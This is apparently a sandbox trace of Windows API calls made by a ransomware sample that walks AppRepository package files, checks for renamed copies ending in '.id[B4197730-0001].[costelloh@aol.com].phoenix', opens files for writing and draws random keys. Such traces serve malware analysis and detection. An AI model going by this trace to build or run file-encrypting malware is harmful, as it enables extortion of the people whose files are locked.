	[0262.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.210] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.210] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.210] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.212] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=8192) returned 1
	[0262.212] CloseHandle (hObject=0x2e4) returned 1
	[0262.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.212] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.213] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.213] CloseHandle (hObject=0x2e4) returned 1
	[0262.213] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.213] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.217] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2256) returned 1
	[0262.217] CloseHandle (hObject=0x2e0) returned 1
	[0262.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.217] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.218] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1000) returned 1
	[0262.218] CloseHandle (hObject=0x2e0) returned 1
	[0262.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.219] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.219] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.219] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.220] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=8192) returned 1
	[0262.220] CloseHandle (hObject=0x2e0) returned 1
	[0262.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.221] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.221] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.221] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.221] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.221] CloseHandle (hObject=0x2e0) returned 1
	[0262.221] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.221] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.222] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=3760) returned 1
	[0262.222] CloseHandle (hObject=0x2e0) returned 1
	[0262.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.223] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.223] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.224] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.225] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.225] CloseHandle (hObject=0x2e0) returned 1
	[0262.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.225] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.226] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.226] CloseHandle (hObject=0x2e0) returned 1
	[0262.226] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.234] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=4900) returned 1
	[0262.234] CloseHandle (hObject=0x2f4) returned 1
	[0262.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.234] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.235] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.235] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.236] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=12288) returned 1
	[0262.236] CloseHandle (hObject=0x2f4) returned 1
	[0262.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.236] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.237] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.237] CloseHandle (hObject=0x2f4) returned 1
	[0262.237] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.237] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.242] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2260) returned 1
	[0262.242] CloseHandle (hObject=0x2e0) returned 1
	[0262.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.243] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.243] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
